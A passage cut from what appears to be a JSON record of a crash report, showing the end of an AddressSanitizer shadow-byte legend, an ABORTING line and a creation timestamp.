f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==32095==ABORTING", "creation_timestamp": "2026-09-06T13:23:27.575979Z"}